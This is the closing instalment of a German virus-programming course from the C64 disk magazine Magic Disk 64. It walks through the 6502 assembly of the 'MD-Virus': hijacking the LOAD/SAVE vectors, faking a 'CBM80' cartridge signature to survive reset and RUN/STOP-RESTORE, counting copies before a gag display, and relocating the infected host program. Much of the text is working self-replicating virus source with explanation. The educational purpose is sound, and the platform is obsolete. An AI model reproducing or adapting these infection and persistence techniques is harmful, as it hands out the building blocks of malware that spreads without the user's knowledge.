Heute, im 6. und letzten Teil des Virenkurses wollen wir noch die bisher unbehandelten kleinen, aber nicht unwichtigen Routinen besprechen, die unserem Virus das Leben im C64 ermöglichen. Mittlerweile wissen wir ja schon, wie sich unser kleiner Freund vermehrt, nämlich mit Hilfe der LOAD- und SAVE-Vektoren, über die er sich sozusagen ins System "reinhängt" und sich somit bei einem Lade- oder Speichervorgang problemlos vor ein noch nicht infiziertes Programm hängen kann. Nun wollen wir uns mit der Initialisierungsroutine beschäftigen, die z.B. die Aufgabe hat, eben diese Vektoren zu "verbiegen". Der aufmerksame Leser wird sie sicher schon gefunden haben. Sie heißt sinniger- weise INIT und steht im Sourcelisting ab Zeile 2072:
2072 -init lda #01 ;Copyzähler 2073 - sta copy ;initialisieren
In diesen zwei Zeilen wird der Zähler für die Anzahl der bisher gemachten Kopien des Virus auf 1 gesetzt. Dieser Zähler ist ein einzelnes Byte im Quelltext (bei Zeile 2203), das jedesmal, wenn sich der Virus erfolgreich kopiert hat um 1 erhöht wird. Nach jeder Kopie prüft die Saveroutine nämlich, ob sich der Virus schon acht mal kopiert hat. Sollte dies der Fall sein, dann wird zu der bereits erwähnten Gag- routine verzweigt, die ab Zeile 5060 steht. Diese Routine läßt erst eine kleine Spriteanimation ablau- fen und teilt dem verdutzten C64-Besitzer dann die Existenz des Virus mit. Hier ein Auszug aus der Save- routine:
2810 - jsr savecont 2812 - jsr saveerror 2820 -; 2830 - asl copy ;copy linksrotieren 2840 - bcs gag ;Carry gesetzt, dann Gag 2850 - rts ;noch nicht 8 mal kopiert
Die Zeilen 2810 und 2812 kennen Sie ja noch aus der letzten Ausgabe, deshalb erfolgt hier keine Erklä- rung. In Zeile 2830 wird der Inhalt der Speicherzelle COPY nach links rotiert. Das heißt, daß der Startwert (nämlich 1), den wir am Anfang von INIT hineinge- schrieben hatten, solange weitergeschoben wird, bis er ins Carryflag überläuft. Und da ein Byte acht Bit besitzt, muß acht mal rotiert werden, damit dieser Fall eintritt. Wenden wir uns nun wieder der INIT-Routine zu:
2080 -init2 ldy #03 ;Zähler laden 2090 -loop3 lda tab,y ;Vektortabelle 2100 - sta $0330,y ;umkopieren 2110 - dey ;Zähler herunterzählen 2120 - bpl loop3 ;Fertig? 2130 -; 2140 - ldy #08 ;Ja -> Zähler laden. 2150 -loop4 lda cbm,y ;Reset-Kennung 2160 - sta $8000,y ;umkopieren 2170 - dey ;Zähler herunterzählen 2180 - bpl loop4 ;Fertig? 2190 -; 2200 - rts ;Feritg!
Hier wird nun zweimal eine Tabelle weiterkopiert. Und zwar nach dem selben Schema, nach dem wir auch den Filenamen in der LOAD-Routine umkopiert haben. In der ersten Schleife wird in die Bytes $0330 bis $0333 geschrieben. Dies sind die Bytes der LOAD- und SAVE-Vektoren (Load=$0330, $0331; Save=$0332, $0333). Sehen wir uns nun die Tabelle an, die umkopiert wird: 10070-tab .wo load,save Hier haben wir es wieder mit einem sog. Pseudo-Opcode des Hypra-Ass Assemblers zu tun. Genau wie man bei dem Opcode ".eq" einer Konstanten einen Wert zuweist oder mit ".by 255" den Assembler dazu veranlaßt, an diese Stelle den Wert 255 zu schreiben, so wird mit dem ".wo" (wie WOrd, was eine Bezeichnung für ein 16- Bit-Wort ist, sowie ".by" die Bezeichnung für ein Byte zu 8 Bit ist) eine Konstante bzw. in unserem Fall ein Label im LO/HI-Format hier abgelegt. Die zweite Schleife der INIT-Routine ist für den RESET-Schutz zuständig. In der RESET-Routine fragt das Betriebssystem die Speicherzellen $8004 bis $8008 ab, ob hier der ASCII-Code "CBM80" steht. Sollte dies der Fall sein, so glaubt das Betriebssystem, daß ein Modul in den Expansion-Port gesteckt ist und es wird über den Vektor in $8000/$8001 gesprungen, anstatt einen "normalen" Reset auszuführen. Diese Tatsache machen wir uns nun zu Nutze. Wir "simulieren" nämlich ein angestecktes Modul durch diese Kennung. Das Betriebssystem glaubt nun, es wäre ein Modul eingesteckt und springt über den Vektor in $8000/$8001, und damit genau in unsere eigene Virus- Resetroutine. Diese steht ab Programmzeile 930:
930 -reset stx $d016 ;Videocont. Steuerreg.2 940 - jsr $fda3 ;Interrupt vorbereiten 950 - jsr $fd50 ;RAM-Check 960 - jsr $fd15 ;Vektoren setzen 970 - jsr $ff5b ;Video-Reset 980 - cli ;IRQ zulassen 990 - jsr init2 ;Virus starten 1000 - jmp ($a000) ;BASIC-Kaltstart
Diese Routine ist fast gänzlich aus dem normalen Betriebssystem übernommen. Der einzige Unterschied ist hier die Zeile 990. Nachdem das Betriebssystem alle Vektoren wieder in den Originalzustand versetzt hat, müssen wir hier wieder den Virus initialisieren. Es wird hier nicht auf INIT gesprungen, sondern auf INIT2, da ja der Zähler für die Anzahl der schon ge- machten Kopien nicht neu gesetzt werden soll. Vor einem RESET braucht sich unser Virus also nicht mehr zu fürchten. Was ihm jetzt noch zustoßen könnte, wäre ein Druck auf die RUN/STOP-RESTORE-Tasten. Diese Kombination haben wir aber schon mit abgefan- gen, nämlich ebenfalls durch die CBM80-Kennung. Ist diese vorhanden, so wird über den Vektor $8002/$8003 gesprungen, der natürlich ebenfalls in unser Virus- programm zeigt. Und zwar auf die Routine, die ab Zeile 840 im Quellisting steht:
840 -restore jsr $fd15 850 - jsr $fda3 860 - jsr $e518 870 - jsr init2 880 - jmp ($a002)
Gleiches Spiel wie bei RESET, nur weniger aufwendig, da hier weniger passiert. Es folgt nun die Tabelle, die in der INIT-Routine um- kopiert wird:
10050-cbm .wo reset,restore 10060- .tx "CBM80"
Jetzt möchte ich Ihnen noch die Funktion der Routinen ganz am Anfang des Sources erklären. Werfen wir einmal einen kleinen Blick auf den Beginn des Listings:
140 -data .by $15,$08,$0a,$00,$93 150 -.tx "2071:md-virus!" 160 -.by 0,0,0 170 -;******************************** 180 -copyup lda $af 190 - pha 200 - nop 210 - ldy #$08 220 - stx $5f 230 - sty $60 240 - ldx #<(realend) 250 - ldy #>(realend) 260 - stx $5a 270 - sty $5b 280 - ldx #$f0 290 - ldy #$cf 300 - stx $58 310 - sty $59 320 - jsr $a3bf 330 - jmp xxxx
Dies sind die ersten Bytes unseres Virus, die auch als allererstes an die Floppy geschickt werden, wenn unser kleiner Freund sich fortpflanzt. Die ersten drei Zeilen stellen folgendes Basicprogramm dar: 10 SYS2071:MD-VIRUS! Mit dem SYS-Befehl wird die in Zeile 180 folgende COPYUP-Routine aufgerufen. Der Text "MD-VIRUS!" hat nur eine kommentierende Wirkung. In jener COPYUP-Rou- tine wird als erstes der Virus in einen Speicherbe- reich kopiert, wo er etwas sicherer aufgehoben ist, nämlich in den Bereich $cbaf bis $cff0. Dies geschieht mit Hilfe einer Routine aus dem BASIC-ROM, nämlich der Routine MOVE. Sie wird folgendermaßen aufgerufen: $5f/$60 : Startadresse des zu kopierenden Blocks $5a/$5b : Endadresse des zu kopierenden Blocks $58/$59 : Neue Endadresse des zu kopierenden Blocks Startadresse: $a3bf Nachdem der Virus kopiert ist, muß dieser das infi- zierte Programm wieder nach unten kopieren, nämlich an den normalen Basic-Start $0801. Dies macht die folgende Routine:
350 -start lda #$36 360 - sta $01 370 -; 371 - ldx #00 372 - ldy #08 373 - stx lab5+1 374 - sty lab5+2 380 - ldx #<(realend) 390 - ldy #>(realend) 400 - stx $fb 410 - sty $fc 420 - ldx $ae 421 - ldy $af 423 - stx $f9 424 - sty $fa 460 -; 470 - ldy #00 475 - ldx #01 480 -loop8 lda ($fb),y 490 -lab5 sta $0801,x 500 - inx 510 - bne lab4 520 - inc lab5+2 530 -lab4 jsr inccount 540 - bcc loop8 640 -; 660 - ldy lab5+2 670 - stx $ae 680 - sty $af 690 - stx $2d 700 - sty $2e 710 -; 720 - lda #$37 730 - sta $01 740 -; 750 - jst init 760 - jsr $a659 770 - jmp $a7ae
Diese Aufgabe kann allerdings nicht mehr von MOVE übernommen werden, da es auch sehr gut möglich sein kann, daß das infizierte Programm bis unter das ROM geht (ab $a000). Also muß dieses ROM weggeblendet werden, und wir müssen mit einer eigenen Routine ar- beiten. Diese steht hier in den Zeilen 480 bis 540. Die folgenden Zeilen haben noch die Aufgabe, die Basic-Vektoren neu auszurichten (Anfang und Ende des Programms), da das Programm durch den Virus ja länger wurde. In Zeile 720 bis 730 wird das Basic-ROM wieder eingeblendet, nachdem es in den Zeilen 350 und 360 ausgeschaltet wurde. Anschließend wird noch INIT auf- gerufen, um den Virus zu aktivieren. In den Zeilen 760 bis 770 wird dann ein RUN-Befehl ausgeführt, der das Programm ganz normal startet. Der Programmierung des kleinen "Gags" soll hier keine weitere Aufmerksamkeit geschenkt werden, da dies ja nur ein Nebeneffekt des Virus ist. Seine Programmie- rung ist außerdem nicht sehr kompliziert, so daß es jedem möglich sein sollte, diesen Programmteil zu durchschauen. Nun sind wir also am Ende unseres Virenkurses ange- langt. Ich hoffe, es hat Ihnen ein bißchen Spaß ge- macht, der Arbeitsweise eines Virusprogramms gedank- lich zu folgen. Sicher ist Ihnen aber auch einiges über die Funktionsweise eines Virusprogramms klar geworden. In diesem Sinne kann ich Ihnen nur noch viel Glück im "Kampf" gegen andere, nicht so harm- lose Viren wie den MDV wünschen. Sicher erinnern Sie sich noch an unsere Fragebogen- aktion in der Magic Disk. Bei der Auswertung dieser Aktion ist uns aufgefallen, daß es immer noch sehr viele C64-Besitzer gibt, die Anfänger auf dem Gebiet der Programmierung Ihres C64 sind. Aus diesem Grund haben wir uns entschlossen, die Rubrik "Kurs" in den nächsten Ausgaben nicht mehr so fachbezogen zu gestalten, sondern zunächst einen über mehrere Ausgaben gehenden Basic-Programmierkurs zu veröffentlichen. Damit kommen wir dem Wunsch vieler Leser nach, die zwar Programmieren lernen wollen, sich aber scheuen, den manchmal dichten Dschungel der Fachliteratur zu durchwandern. An den Basickurs werden sich dann wieder mehr fachbe- zogene Kurse anschließen. Mögliche Themen hierzu sind künstliche Intelligenz, Maschinensprache, Grafik und und und. Schreiben Sie uns Ihre Wünsche und Vorstel- lungen, denn Magic Disk 64 ist und bleibt ein Magazin von Lesern für Leser.